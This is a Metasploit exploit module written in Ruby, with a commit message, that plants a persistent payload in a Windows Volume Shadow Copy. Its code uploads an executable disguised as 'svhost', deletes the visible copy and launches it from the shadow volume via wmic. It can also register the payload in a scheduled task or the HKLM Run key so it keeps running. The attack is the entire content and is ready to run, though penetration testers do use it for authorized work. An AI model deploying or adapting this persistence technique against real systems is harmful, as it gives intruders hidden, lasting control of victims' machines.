c1954c458c
Even if the OS detection returns non-Win7, maybe it's Win 8 or something where it'll still work. We rarely bail out on checks like these. If I'm crazy, feel free to skip or revert this commit (it shouldn't hold up the release at all) For details on this module, see #2503. I don't see any comments about this line in particular
199 lines
6.6 KiB
Ruby
199 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/exploit/exe'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::ShadowCopy
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
'Name' => "Persistent Payload in Windows Volume Shadow Copy",
|
|
'Description' => %q{
|
|
This module will attempt to create a persistent payload in a new volume shadow copy. This is
|
|
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
|
|
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
|
|
option, the user should need password in order to start session on the target machine.
|
|
},
|
|
'Author' => ['Jedediah Rodriguez <Jedi.rodriguez[at]gmail.com>'], # @MrXors
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Targets' => [ [ 'Windows 7', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ],
|
|
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
|
|
],
|
|
'DisclosureDate'=> "Oct 21 2011"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
|
|
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
|
|
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
|
|
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
|
|
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
|
|
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
@clean_up = ""
|
|
|
|
print_status("Checking requirements...")
|
|
|
|
os = sysinfo['OS']
|
|
unless os =~ /Windows 7/
|
|
print_warning("This module has been tested only on Windows 7")
|
|
end
|
|
|
|
unless is_admin?
|
|
print_error("This module requires admin privs to run")
|
|
return
|
|
end
|
|
|
|
if is_uac_enabled?
|
|
print_error("This module requires UAC to be bypassed first")
|
|
return
|
|
end
|
|
|
|
print_status("Starting Volume Shadow Service...")
|
|
unless start_vss
|
|
print_error("Unable to start the Volume Shadow Service")
|
|
return
|
|
end
|
|
|
|
print_status("Uploading payload...")
|
|
remote_file = upload(datastore['RPATH'])
|
|
|
|
print_status("Creating Shadow Volume Copy...")
|
|
unless volume_shadow_copy
|
|
fail_with(Failure::Unknown, "Failed to create a new shadow copy")
|
|
end
|
|
|
|
print_status("Finding the Shadow Copy Volume...")
|
|
volume_data_id = []
|
|
cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\""
|
|
output = cmd_exec(cmd)
|
|
output.each_line do |line|
|
|
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}")
|
|
volume_data_id = "#{cmd_regex}"
|
|
end
|
|
|
|
print_status("Deleting malware...")
|
|
file_rm(remote_file)
|
|
|
|
if datastore["EXECUTE"]
|
|
print_status("Executing #{remote_file}...")
|
|
execute(volume_data_id, remote_file)
|
|
end
|
|
|
|
if datastore["SCHTASK"]
|
|
print_status("Creating Scheduled Task...")
|
|
schtasks(volume_data_id, remote_file)
|
|
end
|
|
|
|
if datastore["RUNKEY"]
|
|
print_status("Installing as autorun in the registry...")
|
|
install_registry(volume_data_id, remote_file)
|
|
end
|
|
|
|
unless @clean_up.empty?
|
|
log_file
|
|
end
|
|
end
|
|
|
|
def upload(trg_loc="")
|
|
if trg_loc.nil? or trg_loc.empty?
|
|
location = "\\Windows\\Temp"
|
|
else
|
|
location = trg_loc
|
|
end
|
|
|
|
file_name = "svhost#{rand(100)}.exe"
|
|
file_on_target = "#{location}\\#{file_name}"
|
|
|
|
exe = generate_payload_exe
|
|
|
|
begin
|
|
write_file("#{file_on_target}", exe)
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NotFound, e.message)
|
|
end
|
|
|
|
return file_on_target
|
|
end
|
|
|
|
def volume_shadow_copy
|
|
begin
|
|
id = create_shadowcopy(datastore['VOLUME'])
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NotFound, e.message)
|
|
end
|
|
|
|
if id
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def execute(volume_id, exe_path)
|
|
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
|
cmd_exec(run_cmd)
|
|
end
|
|
|
|
def schtasks(volume_id, exe_path)
|
|
sch_name = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\""
|
|
sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}"
|
|
cmd_exec(sch_cmd)
|
|
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
|
|
end
|
|
|
|
def install_registry(volume_id, exe_path)
|
|
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
|
|
res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ")
|
|
if res
|
|
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
|
|
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
|
|
else
|
|
print_error("Error: failed to open the registry key for writing")
|
|
end
|
|
end
|
|
|
|
def clean_data
|
|
host = session.sys.config.sysinfo["Computer"]
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
|
|
::FileUtils.mkdir_p(logs)
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
return logfile
|
|
end
|
|
|
|
def log_file
|
|
clean_rc = clean_data()
|
|
file_local_write(clean_rc, @clean_up)
|
|
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
|
end
|
|
|
|
end
|